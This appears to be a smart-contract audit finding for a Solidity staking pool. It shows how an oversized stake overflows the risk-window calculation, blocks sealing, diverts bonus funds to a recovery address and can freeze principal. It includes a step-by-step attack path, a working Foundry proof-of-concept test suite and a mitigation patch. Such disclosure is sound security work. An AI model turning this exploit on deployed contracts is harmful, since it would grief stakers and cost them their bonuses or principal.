FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Unbounded stake amount overflows `_markRiskWindowStart`, permanently bricking every risk-window seal path and redirecting the bonus pot to `recoveryAddress`

Author Revealed upon completion

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

**Affected functions:** `stake`, `_markRiskWindowStart`, `pokeRiskWindow`, `contributeBonus`, `withdraw`, `flagOutcome`, `claimExpired`, `sweepUnclaimedBonus`
**Affected actors:** Every eligible staker (bonus loss); the pool itself (seal path bricked)
### Description
`stake()` bounds an incoming deposit only against the current timestamp. It checks that `received * t_stake * t_stake` fits in `uint256`. `_markRiskWindowStart()` later recomputes the same second moment at the risk-observation timestamp `t_risk`, which is strictly greater than `t_stake`. When aggregate stake sits close to the admission boundary at `t_stake`, the recomputation at `t_risk` overflows and reverts.
```solidity
// stake() -- src/ConfidencePool.sol:250-253
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry; // only bound at t_stake
// _markRiskWindowStart() -- src/ConfidencePool.sol:814-815
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t; // t is later, capped at expiry
```
`_observePoolState` calls `_markRiskWindowStart` without a `try/catch`. The revert propagates out of every gated entrypoint (`pokeRiskWindow`, `stake`, `contributeBonus`, `withdraw`, `flagOutcome`, `claimExpired`) for the whole active-risk interval. Once the registry advances to a terminal state, `_isActiveRiskState` is false, so the seal path is skipped forever. `riskWindowStart` never leaves zero.
At `t_stake ≈ 1.75 * 10^9` (a 2025-era timestamp), the admission boundary sits at `received ≈ 3 * 10^58` raw units. That equals `~0.028` tokens of a 60-decimal asset, or `~3 * 10^40` tokens of an 18-decimal asset. Because `t_risk > t_stake` by at least one second, the same aggregate overflows the recomputation at the observation site.
### Invariant violated
`docs/DESIGN.md #6` states that sealing the window is the normal path and that a poke does not manufacture outcomes. Both are violated. The seal path is unreachable for the entire active-risk interval, and the post-terminal state is identical to a pool that never observed risk. Bonus that should route to stakers who bore genuine `UNDER_ATTACK` exposure routes to `recoveryAddress` instead, via the `riskWindowStart == 0` branch of `sweepUnclaimedBonus` (`ConfidencePool.sol:499-501`).
### Attack path
1. Factory owner allowlists a behaviorally standard ERC-20 whose supply admits raw balances near `2^256 / t_stake²`.
2. Attacker deposits an amount just below the admission ceiling. `stake()` accepts because `received * t_stake * t_stake` fits in `uint256`.
3. Registry advances to `UNDER_ATTACK`. Any caller invokes `pokeRiskWindow()` or any other gated entrypoint. `_markRiskWindowStart()` computes `totalEligibleStake * t_risk * t_risk`, overflows, and reverts.
4. Every subsequent seal attempt also reverts. `riskWindowStart` stays zero.
5. Registry escapes to `PRODUCTION` or `CORRUPTED`. Terminal state skips the seal path so resolution succeeds.
6. `_bonusShare()` short-circuits to zero because `riskWindowStart == 0`. Stakers claim principal only. `sweepUnclaimedBonus()` diverts the entire bonus pot to `recoveryAddress`.
7. Attacker's own principal is recoverable through the same short-circuit. The mechanism is pure griefing.
Attacker cost is zero. Only ordinary public calls are needed after one honest factory-allowlist decision.
### Why this is not an accepted DESIGN.md behavior
DESIGN #5's "no observed risk" bonus sweep is scoped to registries that genuinely skipped active-risk states. This path produces the same on-chain signature (`riskWindowStart == 0`) for a pool that did enter `UNDER_ATTACK` and where every caller tried to record it. The factory allowlist gate excludes only "defective" tokens per #12, not high-precision or high-supply tokens; a token with a large raw supply and standard ERC-20 semantics is not defective.

Risk

Likelihood:

~ Requires the factory allowlist to admit a token whose raw supply exceeds roughly `M / t²`.
~ No malicious factory owner, moderator compromise, or nonstandard token behavior is required.
~ Once the token is admitted, any single depositor with sufficient balance can trigger the condition.

Impact:

~ Full bonus diversion. Every subsequent risk cycle in the pool sends bonus to `recoveryAddress` instead of paying it to stakers.
~ Principal-freeze subcase. If the registry stays stuck in an active-risk state through `expiry`, `flagOutcome` reverts (needs terminal state) and `claimExpired` also routes through `_observePoolState`. Every principal-bearing exit is closed simultaneously.
~ No emergency exit. Pool clones are non-upgradeable.

Proof of Concept

`test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol` (6/6 pass):
| Scenario | Test |
| --- | --- |
| Accepted stake erases risk observation and bonus | `test_A_acceptedStakeErasesRiskObservationAndBonus` |
| Principal freeze in the expire-while-attackable subcase | `test_A_principalFreeze_expireWhileAttackable` |
| Boundary: same-block poke works, later reverts | `test_A_boundary_sameBlockPokeWorks_laterReverts` |
| Boundary: one-second later already reverts | `test_A_boundary_oneSecondLaterReverts` |
| Negative control without giant stake, bonus pays | `test_A_negativeControl_withoutGiantStake_bonusIsPaid` |
| Negative control for the principal-freeze subcase | `test_A_principalFreeze_negativeControl` |
``solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, stdError} from "forge-std/Test.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
// stake() bounds received * t_stake^2 but nothing bounds totalEligibleStake * t_risk^2.
// Because t_risk > t_stake, an accepted large stake overflows _markRiskWindowStart at the
// first active-risk observation. Every seal path routes through _observePoolState so all
// entrypoints revert for the active-risk interval; on terminal escape, riskWindowStart stays
// 0 and _bonusShare short-circuits, sending the bonus pool to recoveryAddress.
contract ConfidencePoolArithmeticBoundaryAudit is BaseConfidencePoolTest {
// Largest single deposit accepted at t_stake = BASE_TIMESTAMP, leaving otherTerm headroom.
function _giantAcceptedStake(uint256 otherTerm) internal pure returns (uint256) {
return (type(uint256).max - otherTerm) / (BASE_TIMESTAMP * BASE_TIMESTAMP);
}
function test_A_acceptedStakeErasesRiskObservationAndBonus() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
assertEq(pool.eligibleStake(attacker), giant, "attacker stake accepted");
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window could not seal");
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
token.mint(dave, 1 * ONE);
vm.startPrank(dave);
token.approve(address(pool), 1 * ONE);
vm.expectRevert(stdError.arithmeticError);
pool.stake(1 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "risk window permanently unsealed post-terminal");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "alice: principal only, no bonus");
vm.prank(attacker);
pool.claimSurvived();
assertEq(token.balanceOf(attacker), giant, "attacker recovers principal, self-cost 0");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "full bonus swept to recovery");
}
function test_A_negativeControl_withoutGiantStake_bonusIsPaid() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
vm.warp(BASE_TIMESTAMP + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "control: window seals normally");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "control: principal + full bonus");
}
// Same-block observation succeeds because t == t_stake; the trigger requires t_risk > t_stake.
function test_A_boundary_sameBlockPokeWorks_laterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "same-block seal succeeds at t == t_stake");
}
function test_A_boundary_oneSecondLaterReverts() external {
uint256 giant = _giantAcceptedStake(0);
_stakeRaw(attacker, giant);
vm.warp(BASE_TIMESTAMP + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
}
// Registry stays active through expiry: claimExpired and flagOutcome both route through
// _observePoolState and revert, and withdraw is disabled. No principal-bearing exit exists.
function test_A_principalFreeze_expireWhileAttackable() external {
uint256 aliceTerm = (100 * ONE) * BASE_TIMESTAMP * BASE_TIMESTAMP;
_stake(alice, 100 * ONE);
uint256 giant = _giantAcceptedStake(aliceTerm);
_stakeRaw(attacker, giant);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
vm.prank(moderator);
vm.expectRevert(stdError.arithmeticError);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.withdraw();
assertEq(pool.eligibleStake(alice), 100 * ONE, "principal frozen, no resolution path");
assertEq(token.balanceOf(alice), 0, "alice cannot recover principal");
}
function test_A_principalFreeze_negativeControl() external {
_stake(alice, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(alice);
pool.claimExpired();
assertEq(token.balanceOf(alice), 100 * ONE, "control: EXPIRED returns principal");
}
}
``
```bash
forge test --match-path test/audit/ConfidencePoolArithmeticBoundary.audit.t.sol -vvvv
```
### Observed result
```text
[PASS] test_A_acceptedStakeErasesRiskObservationAndBonus()
[PASS] test_A_boundary_oneSecondLaterReverts()
[PASS] test_A_boundary_sameBlockPokeWorks_laterReverts()
[PASS] test_A_negativeControl_withoutGiantStake_bonusIsPaid()
[PASS] test_A_principalFreeze_expireWhileAttackable()
[PASS] test_A_principalFreeze_negativeControl()
Suite result: ok. 6 passed; 0 failed; 0 skipped
``

Recommended Mitigation

Bound the projected `t_risk²` term at deposit time. Every deposit and terminal timestamp is bounded by `expiry`, so reject any deposit whose contribution would push `sumStakeTimeSq` past `type(uint256).max` when re-evaluated at `t = expiry`.
```diff
+error StakeExceedsArithmeticBound();
+
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ... existing checks ...
+
+ uint256 tMax = uint256(expiry);
+ uint256 headroom = type(uint256).max - sumStakeTimeSq;
+ if (received > headroom / (tMax * tMax)) revert StakeExceedsArithmeticBound();
+
_clampUserSums(msg.sender);
// ... existing state updates ...
}
```
The same check also closes the sibling finding at the claim trigger site. The largest term in `_bonusShare` is `received * expiry²`, so bounding it at deposit dominates both trigger sites. A partial fix that only guards `_markRiskWindowStart` leaves the claim path exploitable.
### Regression properties
~ Aggregate stake at the documented capacity seals successfully at any `t ≤ expiry` and pays bonus to stakers.
~ One raw unit above the capacity reverts atomically in `stake()` before any state change.
~ Existing pools with conventional-supply tokens remain unaffected; the bound only bites at the arithmetic ceiling.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!